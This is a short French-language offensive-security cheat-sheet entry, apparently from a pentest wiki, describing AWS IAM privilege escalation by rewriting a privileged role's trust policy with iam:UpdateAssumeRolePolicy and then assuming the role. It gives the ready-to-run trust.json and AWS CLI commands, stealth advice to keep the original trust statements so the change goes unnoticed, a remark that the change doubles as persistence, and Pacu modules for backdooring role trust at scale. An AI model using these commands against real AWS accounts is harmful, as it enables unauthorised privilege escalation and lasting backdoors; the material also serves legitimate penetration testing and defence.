La politique de confiance d'un rôle (AssumeRolePolicyDocument) décide qui peut l'assumer. iam:UpdateAssumeRolePolicy réécrit ce document : vous modifiez donc la confiance d'un rôle privilégié pour y nommer votre propre principal, puis vous l'assumez.
Réécrire la confiance et assumer#
cat > trust.json <<'EOF'
{"Version":"2012-10-17","Statement":[{"Effect":"Allow",
"Principal":{"AWS":"arn:aws:iam::<acct>:user/<you>"},
"Action":"sts:AssumeRole"}]}
EOF
aws iam update-assume-role-policy --role-name <privileged-role> \
--policy-document file://trust.json
aws sts assume-role --role-arn arn:aws:iam::<acct>:role/<privileged-role> \
--role-session-name s
Notes d'exploitation#
- Ceci écrase le document de confiance : préservez les instructions d'origine et ajoutez les vôtres à la suite pour ne pas casser l'usage légitime du rôle.
- Ne nécessite que
iam:UpdateAssumeRolePolicysur le rôle plussts:AssumeRole; les permissions propres au rôle sont héritées à l'assomption. - Une modification de confiance durable sert aussi de persistance, puisque votre principal conserve la capacité d'assumer le rôle.
Outils#
- AWS CLI (
iam update-assume-role-policy,sts assume-role). - Pacu (
iam__privesc_scan,iam__backdoor_assume_role) : détecte la voie et pose des portes dérobées dans la confiance des rôles à grande échelle.